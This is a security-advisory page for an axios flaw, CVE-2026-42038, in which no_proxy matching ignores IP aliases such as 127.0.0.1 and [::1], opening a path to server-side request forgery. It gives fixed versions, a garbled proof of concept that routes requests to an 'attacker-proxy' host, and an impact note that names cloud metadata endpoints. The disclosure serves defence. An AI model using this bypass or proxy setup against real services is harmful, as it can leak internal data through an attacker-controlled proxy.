MediumGHSA-m7pr-hjqh-92cmCVE-2026-42038

Axios: no_proxy bypass via IP alias allows SSRF

Published 5 May 2026 · Updated 10 Sept 2026

Is your project on an affected axios?

Private repo? Upload its lockfile instead, or connect GitHub to check every repo.

Affected packages

Affected
>=1.0.0 <1.15.1
Fixed in
1.15.1
Update to the fixed version for your release line, for example:npm install axios@1.15.1
Affected
<0.31.1
Fixed in
0.31.1
Update to the fixed version for your release line, for example:npm install axios@0.31.1

Details

The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.

The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result:

  • no_proxy=localhost does NOT block 127.0.0.1 or [::1]
  • no_proxy=127.0.0.1 does NOT block localhost or [::1]

POC : process.env.no_proxy = 'localhost'; process.env.http_proxy = 'http://attacker-proxy:8888';

process.env.http_proxy = 'http://127.0.0.1:8888'; console.log('=== Test 1: localhost (should bypass proxy) ==='); try { await axios.get('http://localhost:7777/'); } catch(e) { console.log('Error:', e.message); } console.log(''); console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ==='); try { await axios.get('http://127.0.0.1:7777/'); } catch(e) { console.log('Error:', e.message); } fakeProxy.close(); internalServer.close(); }); }); EOF === Test 1: localhost (should bypass proxy) === ✅ Internal server hit directly (correct) === Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) === 🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/ 🚨 Host header: 127.0.0.1:7777. ``` <img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" /> Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data. Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.

Is GHSA-m7pr-hjqh-92cm in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected axios, and gives you the command that fixes it.

More advisories for axios

  • MediumCVE-2026-101904Axios: Header Injection via Inherited headers After Minimal Interceptor · 30 Sept 2026
  • MediumCVE-2026-101900Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders · 30 Sept 2026
  • HighCVE-2026-101905Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection · 30 Sept 2026
  • MediumCVE-2026-101899Axios: CIDR-form NO_PROXY entries are ignored, causing proxy exclusion bypass for internal IP ranges · 30 Sept 2026
  • HighCVE-2026-101907Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF · 30 Sept 2026
  • MediumCVE-2026-101908Axios: Prototype pollution gadget in fetch adapter can alter outbound requests · 30 Sept 2026
All 56 advisories for axios

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.